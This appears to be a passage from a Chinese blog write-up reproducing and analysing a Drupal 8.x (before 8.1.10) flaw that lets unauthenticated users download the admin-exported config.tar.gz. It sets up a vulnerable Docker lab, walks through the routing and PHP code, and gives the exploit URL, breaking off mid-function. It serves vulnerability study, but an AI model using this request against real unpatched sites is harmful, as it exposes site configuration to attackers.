&lt;p&gt;&lt;a href=&quot;https://www.drupal.org&quot;&gt;Drupal&lt;/a&gt;是一个自由开源的內容管理系统，近期研究者发现在其8.x &amp;lt; 8.1.10的版本中发现了三个安全漏洞，其中一个漏洞攻击者可以在未授权的情况下下载管理员之前导出的配置文件压缩包&lt;code class=&quot;highlighter-rouge&quot;&gt;config.tar.gz&lt;/code&gt;。Drupal官方在9月21日发布了&lt;a href=&quot;https://www.drupal.org/SA-CORE-2016-004&quot;&gt;升级公告&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&quot;2漏洞影响&quot;&gt;2.漏洞影响&lt;/h3&gt;

&lt;p&gt;未授权状态下下载管理员之前导出的配置文件&lt;/p&gt;

&lt;h3 id=&quot;3影响版本&quot;&gt;3.影响版本&lt;/h3&gt;

&lt;p&gt;8.x &amp;lt; 8.1.10&lt;/p&gt;

&lt;h2 id=&quot;0x01-漏洞复现&quot;&gt;0x01 漏洞复现&lt;/h2&gt;

&lt;h3 id=&quot;1-环境搭建&quot;&gt;1. 环境搭建&lt;/h3&gt;

&lt;p&gt;Dockerfile（来自Docker Hub）&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# from https://www.drupal.org/requirements/php#drupalversions&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; php:7.0-apache&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;a2enmod rewrite

&lt;span class=&quot;c&quot;&gt;# install the PHP extensions we need&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get install &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; libpng12-dev libjpeg-dev libpq-dev &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /var/lib/apt/lists/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-configure gd &lt;span class=&quot;nt&quot;&gt;--with-png-dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr &lt;span class=&quot;nt&quot;&gt;--with-jpeg-dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-install gd mbstring opcache pdo pdo_mysql pdo_pgsql zip

&lt;span class=&quot;c&quot;&gt;# set recommended PHP.ini settings&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# see https://secure.php.net/manual/en/opcache.installation.php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.memory_consumption=128'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.interned_strings_buffer=8'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.max_accelerated_files=4000'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.revalidate_freq=60'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.fast_shutdown=1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'opcache.enable_cli=1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /usr/local/etc/php/conf.d/opcache-recommended.ini

&lt;span class=&quot;k&quot;&gt;WORKDIR&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; /var/www/html&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# https://www.drupal.org/node/3060/release&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;ENV&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; DRUPAL_VERSION 8.1.9&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;ENV&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; DRUPAL_MD5 4de7c001ecbd5c27e5837c97e40facc2&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-fSL&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://ftp.drupal.org/files/projects/drupal-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DRUPAL_VERSION&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.tar.gz&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; drupal.tar.gz &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DRUPAL_MD5&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; *drupal.tar.gz&quot;&lt;/span&gt; | md5sum &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; - &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-xz&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--strip-components&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; drupal.tar.gz &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm drupal.tar.gz &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; chown &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; www-data:www-data sites modules themes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; dp &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 8080:80 &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; drupal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2漏洞分析&quot;&gt;2.漏洞分析&lt;/h3&gt;

&lt;p&gt;首先我们进入后台把配置文件导出，默认导出到了&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/config.tar.gz&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-export.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;然后看代码，我们在&lt;code class=&quot;highlighter-rouge&quot;&gt;core/modules/system/system.routing.yml&lt;/code&gt;可以看到这样一个路由项：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-admin.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这是访问管理员页面时的路由，可以看到&lt;code class=&quot;highlighter-rouge&quot;&gt;requirements._permission&lt;/code&gt;指定了需要管理员权限。&lt;/p&gt;

&lt;p&gt;然后我们再看这一项：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-router.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到并没有设置&lt;code class=&quot;highlighter-rouge&quot;&gt;_permission&lt;/code&gt;，并且&lt;code class=&quot;highlighter-rouge&quot;&gt;_access=TRUE&lt;/code&gt;，也就是说在未授权的情况下是可以访问这个功能的。&lt;/p&gt;

&lt;p&gt;接下来我们跟进它的controller，在&lt;code class=&quot;highlighter-rouge&quot;&gt;core/modules/system/src/FileDownloadController.php&lt;/code&gt;第41-68行的&lt;code class=&quot;highlighter-rouge&quot;&gt;download&lt;/code&gt;函数：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;download&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'private'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Merge remaining path arguments into relative file path.
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'://'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file_stream_wrapper_valid_scheme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// Let other modules provide headers and controls access to the file.
&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;moduleHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invokeAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'file_download'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;AccessDeniedHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BinaryFileResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'private'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;AccessDeniedHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;NotFoundHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;函数获取了我们传入的&lt;code class=&quot;highlighter-rouge&quot;&gt;file&lt;/code&gt;参数，与&lt;code class=&quot;highlighter-rouge&quot;&gt;$scheme&lt;/code&gt;拼接后检测文件是否存在。我们访问 http://xxx/system/temporary/?file=config.tar.gz 然后下断点动态调试，执行到该函数时各变量的值如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-uri.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;也就是说&lt;code class=&quot;highlighter-rouge&quot;&gt;$scheme&lt;/code&gt;的值是&lt;code class=&quot;highlighter-rouge&quot;&gt;temporary&lt;/code&gt;。然后程序进入了&lt;code class=&quot;highlighter-rouge&quot;&gt;file_stream_wrapper_valid_scheme&lt;/code&gt;函数检查协议有效性，动态跟进直到&lt;code class=&quot;highlighter-rouge&quot;&gt;core/lib/Drupal/Core/StreamWrapper/LocalStream.php&lt;/code&gt;中第495-506行的&lt;code class=&quot;highlighter-rouge&quot;&gt;url_stat&lt;/code&gt;函数：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-path.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code class=&quot;highlighter-rouge&quot;&gt;temporary：//config.tar.gz&lt;/code&gt;被映射到了&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/config.tar.gz&lt;/code&gt;，也就是我们刚备份到的位置，所以也就通过了&lt;code class=&quot;highlighter-rouge&quot;&gt;file_exists&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;通过检查后回到&lt;code class=&quot;highlighter-rouge&quot;&gt;download&lt;/code&gt;函数中，接下来执行了如下语句：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;moduleHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invokeAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'file_download'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;跟进&lt;code class=&quot;highlighter-rouge&quot;&gt;invokeAll&lt;/code&gt;函数，在&lt;code class=&quot;highlighter-rouge&quot;&gt;core/lib/Drupal/Core/Extension/ModuleHandler.php&lt;/code&gt;中第397-409行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;invokeAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$implementations&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getImplementations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$implementations&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$function&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$module&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'_'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;call_user_func_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;NestedArray&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;mergeDeep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;动态调试情况如下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-funcs.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;implementations&lt;/code&gt;的值有&lt;code class=&quot;highlighter-rouge&quot;&gt;config&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;file&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;image&lt;/code&gt;，遍历这三个值并调用相应函数：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;config_file_download&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;file_file_download&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;image_file_download&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;首先调用的是&lt;code class=&quot;highlighter-rouge&quot;&gt;config_file_download&lt;/code&gt;，位于&lt;code class=&quot;highlighter-rouge&quot;&gt;core/modules/config/config.module&lt;/code&gt;第64-78行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;config_file_download&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file_uri_scheme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file_uri_target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
